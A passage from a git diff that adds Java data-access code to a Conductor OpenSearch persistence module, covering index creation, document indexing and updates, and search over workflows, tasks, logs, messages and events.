objectMapper.writerWithDefaultPrettyPrinter().writeValueAsString(root)); + return objectMapper.writerWithDefaultPrettyPrinter().writeValueAsString(root); + } + } + return text; + } + + Query boolQuery(String expression, String queryString) throws ParserException { + Query queryFilter = Query.of(q -> q.matchAll(m -> m)); + if (StringUtils.isNotEmpty(expression)) { + Expression exp = Expression.fromString(expression); + queryFilter = exp.getFilter(); + } + + Query finalFilter = queryFilter; // Make effectively final for lambda + return Query.of( + q -> + q.bool( + b -> { + if (StringUtils.isNotEmpty(queryString)) { + b.must( + Query.of( + qs -> + qs.queryString( + QueryStringQuery.of( + qsb -> + qsb.query( + queryString))))); + } + b.must(finalFilter); + return b; + })); + } + + /** + * Bridge method for compatibility with existing DAO code. Returns Query instead of + * BoolQueryBuilder (opensearch-java 3.x API). + */ + Query boolQueryBuilder(String expression, String queryString) throws ParserException { + return boolQuery(expression, queryString); + } + + protected String getIndexName(String documentType) { + return indexPrefix + "_" + documentType; + } +} diff --git a/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/index/OpenSearchRestDAO.java b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/index/OpenSearchRestDAO.java new file mode 100644 index 0000000..983efb4 --- /dev/null +++ b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/index/OpenSearchRestDAO.java @@ -0,0 +1,1427 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.dao.index; + +import java.io.IOException; +import java.io.InputStream; +import java.text.SimpleDateFormat; +import java.time.Instant; +import java.time.LocalDate; +import java.util.*; +import java.util.concurrent.*; +import java.util.stream.Collectors; +import java.util.stream.IntStream; + +import org.apache.commons.io.IOUtils; +import org.apache.hc.core5.http.ContentType; +import org.apache.hc.core5.http.HttpEntity; +import org.apache.hc.core5.http.HttpStatus; +import org.apache.hc.core5.http.io.entity.ByteArrayEntity; +import org.apache.hc.core5.http.io.entity.EntityUtils; +import org.apache.hc.core5.http.io.entity.StringEntity; +import org.conductoross.conductor.os3.config.OpenSearchProperties; +import org.conductoross.conductor.os3.dao.query.parser.internal.ParserException; +import org.opensearch.client.Request; +import org.opensearch.client.Response; +import org.opensearch.client.ResponseException; +import org.opensearch.client.RestClient; +import org.opensearch.client.json.JsonData; +import org.opensearch.client.opensearch.OpenSearchClient; +import org.opensearch.client.opensearch._types.FieldValue; +import org.opensearch.client.opensearch._types.SortOrder; +import org.opensearch.client.opensearch._types.query_dsl.Query; +import org.opensearch.client.opensearch.core.*; +import org.opensearch.client.opensearch.core.bulk.BulkOperation; +import org.opensearch.client.opensearch.core.search.Hit; +import org.opensearch.client.opensearch.core.search.HitsMetadata; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.annotations.Trace; +import com.netflix.conductor.common.metadata.events.EventExecution; +import com.netflix.conductor.common.metadata.tasks.TaskExecLog; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.core.exception.TransientException; +import com.netflix.conductor.dao.IndexDAO; +import com.netflix.conductor.metrics.Monitors; + +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.node.ObjectNode; +import jakarta.annotation.PostConstruct; +import jakarta.annotation.PreDestroy; + +@Trace +public class OpenSearchRestDAO extends OpenSearchBaseDAO implements IndexDAO { + + private static final Logger logger = LoggerFactory.getLogger(OpenSearchRestDAO.class); + + private static final String CLASS_NAME = OpenSearchRestDAO.class.getSimpleName(); + + private static final int CORE_POOL_SIZE = 6; + private static final long KEEP_ALIVE_TIME = 1L; + + private static final String WORKFLOW_DOC_TYPE = "workflow"; + private static final String TASK_DOC_TYPE = "task"; + private static final String LOG_DOC_TYPE = "task_log"; + private static final String EVENT_DOC_TYPE = "event"; + private static final String MSG_DOC_TYPE = "message"; + + private static final TimeZone GMT = TimeZone.getTimeZone("GMT"); + private static final SimpleDateFormat SIMPLE_DATE_FORMAT = new SimpleDateFormat("yyyyMMWW"); + + private @interface HttpMethod { + + String GET = "GET"; + String POST = "POST"; + String PUT = "PUT"; + String HEAD = "HEAD"; + } + + private static final String className = OpenSearchRestDAO.class.getSimpleName(); + + private final String workflowIndexName; + private final String taskIndexName; + private final String eventIndexPrefix; + private String eventIndexName; + private final String messageIndexPrefix; + private String messageIndexName; + private String logIndexName; + private final String logIndexPrefix; + + private final String clusterHealthColor; + private final OpenSearchClient openSearchClient; + private final RestClient openSearchAdminClient; + private final ExecutorService executorService; + private final ExecutorService logExecutorService; + private final ConcurrentHashMap bulkRequests; + private final int indexBatchSize; + private final int asyncBufferFlushTimeout; + private final OpenSearchProperties properties; + private final RetryTemplate retryTemplate; + + static { + SIMPLE_DATE_FORMAT.setTimeZone(GMT); + } + + public OpenSearchRestDAO( + RestClient restClient, + OpenSearchClient openSearchClient, + RetryTemplate retryTemplate, + OpenSearchProperties properties, + ObjectMapper objectMapper) { + + this.objectMapper = objectMapper; + this.openSearchClient = openSearchClient; + this.openSearchAdminClient = restClient; + this.clusterHealthColor = properties.getClusterHealthColor(); + this.bulkRequests = new ConcurrentHashMap<>(); + this.indexBatchSize = properties.getIndexBatchSize(); + this.asyncBufferFlushTimeout = (int) properties.getAsyncBufferFlushTimeout().getSeconds(); + this.properties = properties; + + this.indexPrefix = properties.getIndexPrefix(); + + this.workflowIndexName = getIndexName(WORKFLOW_DOC_TYPE); + this.taskIndexName = getIndexName(TASK_DOC_TYPE); + this.logIndexPrefix = this.indexPrefix + "_" + LOG_DOC_TYPE; + this.messageIndexPrefix = this.indexPrefix + "_" + MSG_DOC_TYPE; + this.eventIndexPrefix = this.indexPrefix + "_" + EVENT_DOC_TYPE; + int workerQueueSize = properties.getAsyncWorkerQueueSize(); + int maximumPoolSize = properties.getAsyncMaxPoolSize(); + + // Set up a workerpool for performing async operations. + this.executorService = + new ThreadPoolExecutor( + CORE_POOL_SIZE, + maximumPoolSize, + KEEP_ALIVE_TIME, + TimeUnit.MINUTES, + new LinkedBlockingQueue<>(workerQueueSize), + (runnable, executor) -> { + logger.warn( + "Request {} to async dao discarded in executor {}", + runnable, + executor); + Monitors.recordDiscardedIndexingCount("indexQueue"); + }); + + // Set up a workerpool for performing async operations for task_logs, event_executions, + // message + int corePoolSize = 1; + maximumPoolSize = 2; + long keepAliveTime = 30L; + this.logExecutorService = + new ThreadPoolExecutor( + corePoolSize, + maximumPoolSize, + keepAliveTime, + TimeUnit.SECONDS, + new LinkedBlockingQueue<>(workerQueueSize), + (runnable, executor) -> { + logger.warn( + "Request {} to async log dao discarded in executor {}", + runnable, + executor); + Monitors.recordDiscardedIndexingCount("logQueue"); + }); + + Executors.newSingleThreadScheduledExecutor() + .scheduleAtFixedRate(this::flushBulkRequests, 60, 30, TimeUnit.SECONDS); + this.retryTemplate = retryTemplate; + } + + @PreDestroy + private void shutdown() { + logger.info("Gracefully shutdown executor service"); + shutdownExecutorService(logExecutorService); + shutdownExecutorService(executorService); + } + + private void shutdownExecutorService(ExecutorService execService) { + try { + execService.shutdown(); + if (execService.awaitTermination(30, TimeUnit.SECONDS)) { + logger.debug("tasks completed, shutting down"); + } else { + logger.warn("Forcing shutdown after waiting for 30 seconds"); + execService.shutdownNow(); + } + } catch (InterruptedException ie) { + logger.warn( + "Shutdown interrupted, invoking shutdownNow on scheduledThreadPoolExecutor for delay queue"); + execService.shutdownNow(); + Thread.currentThread().interrupt(); + } + } + + @Override + @PostConstruct + public void setup() throws Exception { + waitForHealthyCluster(); + + if (properties.isAutoIndexManagementEnabled()) { + createIndexesTemplates(); + createWorkflowIndex(); + createTaskIndex(); + } + } + + private void createIndexesTemplates() { + try { + initIndexesTemplates(); + updateIndexesNames(); + Executors.newScheduledThreadPool(1) + .scheduleAtFixedRate(this::updateIndexesNames, 0, 1, TimeUnit.HOURS); + } catch (Exception e) { + logger.error("Error creating index templates!", e); + } + } + + private void initIndexesTemplates() { + initIndexTemplate(LOG_DOC_TYPE); + initIndexTemplate(EVENT_DOC_TYPE); + initIndexTemplate(MSG_DOC_TYPE); + } + + /** Initializes the index with the required templates and mappings. */ + private void initIndexTemplate(String type) { + String template = "template_" + type; + try { + if (doesResourceNotExist("/_index_template/" + template)) { + logger.info("Creating the index template '" + template + "'"); + InputStream stream = + OpenSearchRestDAO.class.getResourceAsStream("/" + template + ".json"); + byte[] templateSource = IOUtils.toByteArray(stream); + + HttpEntity entity = + new ByteArrayEntity(templateSource, ContentType.APPLICATION_JSON); + Request request = new Request(HttpMethod.PUT, "/_index_template/" + template); + request.setEntity(entity); + String test = + IOUtils.toString( + openSearchAdminClient + .performRequest(request) + .getEntity() + .getContent()); + } + } catch (Exception e) { + logger.error("Failed to init " + template, e); + } + } + + private void updateIndexesNames() { + logIndexName = updateIndexName(LOG_DOC_TYPE); + eventIndexName = updateIndexName(EVENT_DOC_TYPE); + messageIndexName = updateIndexName(MSG_DOC_TYPE); + } + + private String updateIndexName(String type) { + String indexName = + this.indexPrefix + "_" + type + "_" + SIMPLE_DATE_FORMAT.format(new Date()); + try { + addIndex(indexName); + return indexName; + } catch (IOException e) { + logger.error("Failed to update log index name: {}", indexName, e); + throw new NonTransientException(e.getMessage(), e); + } + } + + private void createWorkflowIndex() { + String indexName = getIndexName(WORKFLOW_DOC_TYPE); + try { + addIndex(indexName, "/mappings_docType_workflow.json"); + } catch (IOException e) { + logger.error("Failed to initialize index '{}'", indexName, e); + } + } + + private void createTaskIndex() { + String indexName = getIndexName(TASK_DOC_TYPE); + try { + addIndex(indexName, "/mappings_docType_task.json"); + } catch (IOException e) { + logger.error("Failed to initialize index '{}'", indexName, e); + } + } + + /** + * Waits for the ES cluster to become green. + * + * @throws Exception If there is an issue connecting with the ES cluster. + */ + private void waitForHealthyCluster() throws Exception { + Map params = new HashMap<>(); + params.put("timeout", "30s"); + params.put("wait_for_status", this.clusterHealthColor); + Request request = new Request("GET", "/_cluster/health"); + request.addParameters(params); + openSearchAdminClient.performRequest(request); + } + + /** + * Adds an index to opensearch if it does not exist. + * + * @param index The name of the index to create. + * @param mappingFilename Index mapping filename + * @throws IOException If an error occurred during requests to ES. + */ + private void addIndex(String index, final String mappingFilename) throws IOException { + logger.info("Adding index '{}'...", index); + String resourcePath = "/" + index; + if (doesResourceNotExist(resourcePath)) { + try { + ObjectNode setting = objectMapper.createObjectNode(); + ObjectNode indexSetting = objectMapper.createObjectNode(); + ObjectNode root = objectMapper.createObjectNode(); + indexSetting.put("number_of_shards", properties.getIndexShardCount()); + indexSetting.put("number_of_replicas", properties.getIndexReplicasCount()); + JsonNode mappingNodeValue = + objectMapper.readTree(loadTypeMappingSource(mappingFilename)); + root.set("settings", indexSetting); + root.set("mappings", mappingNodeValue); + Request request = new Request(HttpMethod.PUT, resourcePath); + request.setEntity( + new StringEntity( + objectMapper.writeValueAsString(root), + ContentType.APPLICATION_JSON)); + openSearchAdminClient.performRequest(request); + logger.info("Added '{}' index", index); + } catch (ResponseException e) { + + boolean errorCreatingIndex = true; + + Response errorResponse = e.getResponse(); + if (errorResponse.getStatusLine().getStatusCode() == HttpStatus.SC_BAD_REQUEST) { + try { + JsonNode root = + objectMapper.readTree( + EntityUtils.toString(errorResponse.getEntity())); + String errorCode = root.get("error").get("type").asText(); + if ("index_already_exists_exception".equals(errorCode)) { + errorCreatingIndex = false; + } + } catch (org.apache.hc.core5.http.ParseException pe) { + logger.warn("Failed to parse error response", pe); + } + } + + if (errorCreatingIndex) { + throw e; + } + } + } else { + logger.info("Index '{}' already exists", index); + } + } + + /** + * Adds an index to opensearch if it does not exist. + * + * @param index The name of the index to create. + * @throws IOException If an error occurred during requests to ES. + */ + private void addIndex(final String index) throws IOException { + + logger.info("Adding index '{}'...", index); + + String resourcePath = "/" + index; + + if (doesResourceNotExist(resourcePath)) { + + try { + ObjectNode setting = objectMapper.createObjectNode(); + ObjectNode indexSetting = objectMapper.createObjectNode(); + + indexSetting.put("number_of_shards", properties.getIndexShardCount()); + indexSetting.put("number_of_replicas", properties.getIndexReplicasCount()); + + setting.set("settings", indexSetting); + + Request request = new Request(HttpMethod.PUT, resourcePath); + request.setEntity( + new StringEntity(setting.toString(), ContentType.APPLICATION_JSON)); + openSearchAdminClient.performRequest(request); + logger.info("Added '{}' index", index); + } catch (ResponseException e) { + + boolean errorCreatingIndex = true; + + Response errorResponse = e.getResponse(); + if (errorResponse.getStatusLine().getStatusCode() == HttpStatus.SC_BAD_REQUEST) { + try { + JsonNode root = + objectMapper.readTree( + EntityUtils.toString(errorResponse.getEntity())); + String errorCode = root.get("error").get("type").asText(); + if ("index_already_exists_exception".equals(errorCode)) { + errorCreatingIndex = false; + } + } catch (org.apache.hc.core5.http.ParseException pe) { + logger.warn("Failed to parse error response", pe); + } + } + + if (errorCreatingIndex) { + throw e; + } + } + } else { + logger.info("Index '{}' already exists", index); + } + } + + /** + * Adds a mapping type to an index if it does not exist. + * + * @param index The name of the index. + * @param mappingType The name of the mapping type. + * @param mappingFilename The name of the mapping file to use to add the mapping if it does not + * exist. + * @throws IOException If an error occurred during requests to ES. + */ + private void addMappingToIndex( + final String index, final String mappingType, final String mappingFilename) + throws IOException { + + logger.info("Adding '{}' mapping to index '{}'...", mappingType, index); + + String resourcePath = "/" + index + "/_mapping"; + + if (doesResourceNotExist(resourcePath)) { + HttpEntity entity = + new ByteArrayEntity( + loadTypeMappingSource(mappingFilename).getBytes(), + ContentType.APPLICATION_JSON); + Request request = new Request(HttpMethod.PUT, resourcePath); + request.setEntity(entity); + openSearchAdminClient.performRequest(request); + logger.info("Added '{}' mapping", mappingType); + } else { + logger.info("Mapping '{}' already exists", mappingType); + } + } + + /** + * Determines whether a resource exists in ES. This will call a GET method to a particular path + * and return true if status 200; false otherwise. + * + * @param resourcePath The path of the resource to get. + * @return True if it exists; false otherwise. + * @throws IOException If an error occurred during requests to ES. + */ + public boolean doesResourceExist(final String resourcePath) throws IOException { + Request request = new Request(HttpMethod.HEAD, resourcePath); + Response response = openSearchAdminClient.performRequest(request); + return response.getStatusLine().getStatusCode() == HttpStatus.SC_OK; + } + + /** + * The inverse of doesResourceExist. + * + * @param resourcePath The path of the resource to check. + * @return True if it does not exist; false otherwise. + * @throws IOException If an error occurred during requests to ES. + */ + public boolean doesResourceNotExist(final String resourcePath) throws IOException { + return !doesResourceExist(resourcePath); + } + + @Override + public void indexWorkflow(WorkflowSummary workflow) { + try { + long startTime = Instant.now().toEpochMilli(); + String workflowId = workflow.getWorkflowId(); + + IndexRequest request = + new IndexRequest.Builder() + .index(workflowIndexName) + .id(workflowId) + .document(workflow) + .build(); + openSearchClient.index(request); + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for indexing workflow: {}", endTime - startTime, workflowId); + Monitors.recordESIndexTime("index_workflow", WORKFLOW_DOC_TYPE, endTime - startTime); + Monitors.recordWorkerQueueSize( + "indexQueue", ((ThreadPoolExecutor) executorService).getQueue().size()); + } catch (Exception e) { + Monitors.error(className, "indexWorkflow"); + logger.error("Failed to index workflow: {}", workflow.getWorkflowId(), e); + } + } + + @Override + public CompletableFuture asyncIndexWorkflow(WorkflowSummary workflow) { + return CompletableFuture.runAsync(() -> indexWorkflow(workflow), executorService); + } + + @Override + public void indexTask(TaskSummary task) { + try { + long startTime = Instant.now().toEpochMilli(); + String taskId = task.getTaskId(); + + indexObject(taskIndexName, TASK_DOC_TYPE, taskId, task); + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for indexing task:{} in workflow: {}", + endTime - startTime, + taskId, + task.getWorkflowId()); + Monitors.recordESIndexTime("index_task", TASK_DOC_TYPE, endTime - startTime); + Monitors.recordWorkerQueueSize( + "indexQueue", ((ThreadPoolExecutor) executorService).getQueue().size()); + } catch (Exception e) { + logger.error("Failed to index task: {}", task.getTaskId(), e); + } + } + + @Override + public CompletableFuture asyncIndexTask(TaskSummary task) { + return CompletableFuture.runAsync(() -> indexTask(task), executorService); + } + + @Override + public void addTaskExecutionLogs(List taskExecLogs) { + if (taskExecLogs.isEmpty()) { + return; + } + + long startTime = Instant.now().toEpochMilli(); + List operations = new ArrayList<>(); + for (TaskExecLog log : taskExecLogs) { + BulkOperation operation = + BulkOperation.of(b -> b.index(idx -> idx.index(logIndexName).document(log))); + operations.add(operation); + } + + try { + BulkRequest bulkRequest = new BulkRequest.Builder().operations(operations).build(); + openSearchClient.bulk(bulkRequest); + long endTime = Instant.now().toEpochMilli(); + logger.debug("Time taken {} for indexing taskExecutionLogs", endTime - startTime); + Monitors.recordESIndexTime( + "index_task_execution_logs", LOG_DOC_TYPE, endTime - startTime); + Monitors.recordWorkerQueueSize( + "logQueue", ((ThreadPoolExecutor) logExecutorService).getQueue().size()); + } catch (Exception e) { + List taskIds = + taskExecLogs.stream().map(TaskExecLog::getTaskId).collect(Collectors.toList()); + logger.error("Failed to index task execution logs for tasks: {}", taskIds, e); + } + } + + @Override + public CompletableFuture asyncAddTaskExecutionLogs(List logs) { + return CompletableFuture.runAsync(() -> addTaskExecutionLogs(logs), logExecutorService); + } + + @Override + public List getTaskExecutionLogs(String taskId) { + try { + Query query = boolQuery("taskId='" + taskId + "'", "*"); + + SearchRequest searchRequest = + new SearchRequest.Builder() + .index(logIndexPrefix + "*") + .query(query) + .sort(s -> s.field(f -> f.field("createdTime").order(SortOrder.Asc))) + .size(properties.getTaskLogResultLimit()) + .build(); + + SearchResponse response = + openSearchClient.search(searchRequest, TaskExecLog.class); + + return mapTaskExecLogsResponse(response); + } catch (Exception e) { + logger.error("Failed to get task execution logs for task: {}", taskId, e); + } + return null; + } + + private List mapTaskExecLogsResponse(SearchResponse response) + throws IOException { + List> hits = response.hits().hits(); + List logs = new ArrayList<>(hits.size()); + for (Hit hit : hits) { + TaskExecLog tel = hit.source(); + if (tel != null) { + logs.add(tel); + } + } + return logs; + } + + @Override + public List getMessages(String queue) { + try { + Query query = boolQuery("queue='" + queue + "'", "*"); + + SearchRequest searchRequest = + new SearchRequest.Builder() + .index(messageIndexPrefix + "*") + .query(query) + .sort(s -> s.field(f -> f.field("created").order(SortOrder.Asc))) + .build(); + + SearchResponse response = + openSearchClient.search( + searchRequest, com.fasterxml.jackson.databind.node.ObjectNode.class); + return mapGetMessagesResponse(response); + } catch (Exception e) { + logger.error("Failed to get messages for queue: {}", queue, e); + } + return null; + } + + private List mapGetMessagesResponse( + SearchResponse response) + throws IOException { + List> hits = response.hits().hits(); + List messages = new ArrayList<>(hits.size()); + for (Hit hit : hits) { + com.fasterxml.jackson.databind.node.ObjectNode source = hit.source(); + if (source != null) { + String messageId = + source.get("messageId") != null ? source.get("messageId").asText() : null; + String payload = + source.get("payload") != null ? source.get("payload").asText() : null; + Message msg = new Message(messageId, payload, null); + messages.add(msg); + } + } + return messages; + } + + @Override + public List getEventExecutions(String event) { + try { + Query query = boolQuery("event='" + event + "'", "*"); + + SearchRequest searchRequest = + new SearchRequest.Builder() + .index(eventIndexPrefix + "*") + .query(query) + .sort(s -> s.field(f -> f.field("created").order(SortOrder.Asc))) + .build(); + + SearchResponse response = + openSearchClient.search(searchRequest, EventExecution.class); + + return mapEventExecutionsResponse(response); + } catch (Exception e) { + logger.error("Failed to get executions for event: {}", event, e); + } + return null; + } + + private List mapEventExecutionsResponse(SearchResponse response) + throws IOException { + List> hits = response.hits().hits(); + List executions = new ArrayList<>(hits.size()); + for (Hit hit : hits) { + EventExecution exec = hit.source(); + if (exec != null) { + executions.add(exec); + } + } + return executions; + } + + @Override + public void addMessage(String queue, Message message) { + try { + long startTime = Instant.now().toEpochMilli(); + Map doc = new HashMap<>(); + doc.put("messageId", message.getId()); + doc.put("payload", message.getPayload()); + doc.put("queue", queue); + doc.put("created", System.currentTimeMillis()); + + indexObject(messageIndexName, MSG_DOC_TYPE, doc); + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for indexing message: {}", + endTime - startTime, + message.getId()); + Monitors.recordESIndexTime("add_message", MSG_DOC_TYPE, endTime - startTime); + } catch (Exception e) { + logger.error("Failed to index message: {}", message.getId(), e); + } + } + + @Override + public CompletableFuture asyncAddMessage(String queue, Message message) { + return CompletableFuture.runAsync(() -> addMessage(queue, message), executorService); + } + + @Override + public void addEventExecution(EventExecution eventExecution) { + try { + long startTime = Instant.now().toEpochMilli(); + String id = + eventExecution.getName() + + "." + + eventExecution.getEvent() + + "." + + eventExecution.getMessageId() + + "." + + eventExecution.getId(); + + indexObject(eventIndexName, EVENT_DOC_TYPE, id, eventExecution); + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for indexing event execution: {}", + endTime - startTime, + eventExecution.getId()); + Monitors.recordESIndexTime("add_event_execution", EVENT_DOC_TYPE, endTime - startTime); + Monitors.recordWorkerQueueSize( + "logQueue", ((ThreadPoolExecutor) logExecutorService).getQueue().size()); + } catch (Exception e) { + logger.error("Failed to index event execution: {}", eventExecution.getId(), e); + } + } + + @Override + public CompletableFuture asyncAddEventExecution(EventExecution eventExecution) { + return CompletableFuture.runAsync( + () -> addEventExecution(eventExecution), logExecutorService); + } + + @Override + public SearchResult searchWorkflows( + String query, String freeText, int start, int count, List sort) { + try { + return searchObjectIdsViaExpression( + query, start, count, sort, freeText, WORKFLOW_DOC_TYPE); + } catch (Exception e) { + throw new NonTransientException(e.getMessage(), e); + } + } + + @Override + public SearchResult searchWorkflowSummary( + String query, String freeText, int start, int count, List sort) { + try { + return searchObjectsViaExpression( + query, + start, + count, + sort, + freeText, + WORKFLOW_DOC_TYPE, + false, + WorkflowSummary.class); + } catch (Exception e) { + throw new TransientException(e.getMessage(), e); + } + } + + private SearchResult searchObjectsViaExpression( + String structuredQuery, + int start, + int size, + List sortOptions, + String freeTextQuery, + String docType, + boolean idOnly, + Class clazz) + throws ParserException, IOException { + Query query = boolQuery(structuredQuery, freeTextQuery); + return searchObjects(getIndexName(docType), query, start, size, sortOptions, idOnly, clazz); + } + + @Override + public SearchResult searchTasks( + String query, String freeText, int start, int count, List sort) { + try { + return searchObjectIdsViaExpression(query, start, count, sort, freeText, TASK_DOC_TYPE); + } catch (Exception e) { + throw new NonTransientException(e.getMessage(), e); + } + } + + @Override + public SearchResult searchTaskSummary( + String query, String freeText, int start, int count, List sort) { + try { + return searchObjectsViaExpression( + query, start, count, sort, freeText, TASK_DOC_TYPE, false, TaskSummary.class); + } catch (Exception e) { + throw new TransientException(e.getMessage(), e); + } + } + + @Override + public void removeWorkflow(String workflowId) { + long startTime = Instant.now().toEpochMilli(); + DeleteRequest request = + new DeleteRequest.Builder().index(workflowIndexName).id(workflowId).build(); + + try { + DeleteResponse response = openSearchClient.delete(request); + + if (response.result() == org.opensearch.client.opensearch._types.Result.NotFound) { + logger.error("Index removal failed - document not found by id: {}", workflowId); + } + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for removing workflow: {}", endTime - startTime, workflowId); + Monitors.recordESIndexTime("remove_workflow", WORKFLOW_DOC_TYPE, endTime - startTime); + Monitors.recordWorkerQueueSize( + "indexQueue", ((ThreadPoolExecutor) executorService).getQueue().size()); + } catch (IOException e) { + logger.error("Failed to remove workflow {} from index", workflowId, e); + Monitors.error(className, "remove"); + } + } + + @Override + public CompletableFuture asyncRemoveWorkflow(String workflowId) { + return CompletableFuture.runAsync(() -> removeWorkflow(workflowId), executorService); + } + + @Override + public void updateWorkflow(String workflowInstanceId, String[] keys, Object[] values) { + try { + if (keys.length != values.length) { + throw new NonTransientException("Number of keys and values do not match"); + } + + long startTime = Instant.now().toEpochMilli(); + Map source = + IntStream.range(0, keys.length) + .boxed() + .collect(Collectors.toMap(i -> keys[i], i -> values[i])); + + UpdateRequest request = + new UpdateRequest.Builder() + .index(workflowIndexName) + .id(workflowInstanceId) + .doc(source) + .build(); + + logger.debug("Updating workflow {} with {}", workflowInstanceId, source); + openSearchClient.update(request, Object.class); + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for updating workflow: {}", + endTime - startTime, + workflowInstanceId); + Monitors.recordESIndexTime("update_workflow", WORKFLOW_DOC_TYPE, endTime - startTime); + Monitors.recordWorkerQueueSize( + "indexQueue", ((ThreadPoolExecutor) executorService).getQueue().size()); + } catch (Exception e) { + logger.error("Failed to update workflow {}", workflowInstanceId, e); + Monitors.error(className, "update"); + } + } + + @Override + public void removeTask(String workflowId, String taskId) { + long startTime = Instant.now().toEpochMilli(); + + SearchResult taskSearchResult = + searchTasks( + String.format("(taskId='%s') AND (workflowId='%s')", taskId, workflowId), + "*", + 0, + 1, + null); + + if (taskSearchResult.getTotalHits() == 0) { + logger.error("Task: {} does not belong to workflow: {}", taskId, workflowId); + Monitors.error(className, "removeTask"); + return; + } + + DeleteRequest request = new DeleteRequest.Builder().index(taskIndexName).id(taskId).build(); + + try { + DeleteResponse response = openSearchClient.delete(request); + + if (response.result() != org.opensearch.client.opensearch._types.Result.Deleted) { + logger.error("Index removal failed - task not found by id: {}", workflowId); + Monitors.error(className, "removeTask"); + return; + } + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for removing task:{} of workflow: {}", + endTime - startTime, + taskId, + workflowId); + Monitors.recordESIndexTime("remove_task", "", endTime - startTime); + Monitors.recordWorkerQueueSize( + "indexQueue", ((ThreadPoolExecutor) executorService).getQueue().size()); + } catch (IOException e) { + logger.error( + "Failed to remove task {} of workflow: {} from index", taskId, workflowId, e); + Monitors.error(className, "removeTask"); + } + } + + @Override + public CompletableFuture asyncRemoveTask(String workflowId, String taskId) { + return CompletableFuture.runAsync(() -> removeTask(workflowId, taskId), executorService); + } + + @Override + public void updateTask(String workflowId, String taskId, String[] keys, Object[] values) { + try { + if (keys.length != values.length) { + throw new IllegalArgumentException("Number of keys and values do not match"); + } + + long startTime = Instant.now().toEpochMilli(); + Map source = + IntStream.range(0, keys.length) + .boxed() + .collect(Collectors.toMap(i -> keys[i], i -> values[i])); + + UpdateRequest request = + new UpdateRequest.Builder() + .index(taskIndexName) + .id(taskId) + .doc(source) + .build(); + + logger.debug("Updating task: {} of workflow: {} with {}", taskId, workflowId, source); + openSearchClient.update(request, Object.class); + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for updating task: {} of workflow: {}", + endTime - startTime, + taskId, + workflowId); + Monitors.recordESIndexTime("update_task", "", endTime - startTime); + Monitors.recordWorkerQueueSize( + "indexQueue", ((ThreadPoolExecutor) executorService).getQueue().size()); + } catch (Exception e) { + logger.error("Failed to update task: {} of workflow: {}", taskId, workflowId, e); + Monitors.error(className, "update"); + } + } + + @Override + public CompletableFuture asyncUpdateTask( + String workflowId, String taskId, String[] keys, Object[] values) { + return CompletableFuture.runAsync( + () -> updateTask(workflowId, taskId, keys, values), executorService); + } + + @Override + public CompletableFuture asyncUpdateWorkflow( + String workflowInstanceId, String[] keys, Object[] values) { + return CompletableFuture.runAsync( + () -> updateWorkflow(workflowInstanceId, keys, values), executorService); + } + + @Override + public String get(String workflowInstanceId, String fieldToGet) { + GetRequest request = + new GetRequest.Builder().index(workflowIndexName).id(workflowInstanceId).build(); + GetResponse response; + try { + response = + openSearchClient.get( + request, com.fasterxml.jackson.databind.node.ObjectNode.class); + } catch (IOException e) { + logger.error( + "Unable to get Workflow: {} from openSearch index: {}", + workflowInstanceId, + workflowIndexName, + e); + return null; + } + + if (response.found()) { + com.fasterxml.jackson.databind.node.ObjectNode source = response.source(); + if (source != null && source.has(fieldToGet)) { + return source.get(fieldToGet).asText(); + } + } + + logger.debug( + "Unable to find Workflow: {} in openSearch index: {}.", + workflowInstanceId, + workflowIndexName); + return null; + } + + private SearchResult searchObjectIdsViaExpression( + String structuredQuery, + int start, + int size, + List sortOptions, + String freeTextQuery, + String docType) + throws ParserException, IOException { + Query query = boolQueryBuilder(structuredQuery, freeTextQuery); + return searchObjectIds(getIndexName(docType), query, start, size, sortOptions); + } + + private SearchResult searchObjectIdsViaExpression( + String structuredQuery, + int start, + int size, + List sortOptions, + String freeTextQuery, + String docType, + Class clazz) + throws ParserException, IOException { + Query query = boolQueryBuilder(structuredQuery, freeTextQuery); + return searchObjects(getIndexName(docType), query, start, size, sortOptions, false, clazz); + } + + private SearchResult searchObjectIds(String indexName, Query query, int start, int size) + throws IOException { + return searchObjectIds(indexName, query, start, size, null); + } + + /** + * Tries to find object ids for a given query in an index. + * + * @param indexName The name of the index. + * @param query The query to use for searching. + * @param start The start to use. + * @param size The total return size. + * @param sortOptions A list of string options to sort in the form VALUE:ORDER; where ORDER is + * optional and can be either ASC OR DESC. + * @return The SearchResults which includes the count and IDs that were found. + * @throws IOException If we cannot communicate with ES. + */ + private SearchResult searchObjectIds( + String indexName, Query query, int start, int size, List sortOptions) + throws IOException { + + SearchRequest.Builder requestBuilder = + new SearchRequest.Builder().index(indexName).query(query).from(start).size(size); + + if (sortOptions != null && !sortOptions.isEmpty()) { + for (String sortOption : sortOptions) { + SortOrder order = SortOrder.Asc; + String field = sortOption; + int index = sortOption.indexOf(":"); + if (index > 0) { + field = sortOption.substring(0, index); + String orderStr = sortOption.substring(index + 1); + order = "DESC".equalsIgnoreCase(orderStr) ? SortOrder.Desc : SortOrder.Asc; + } + 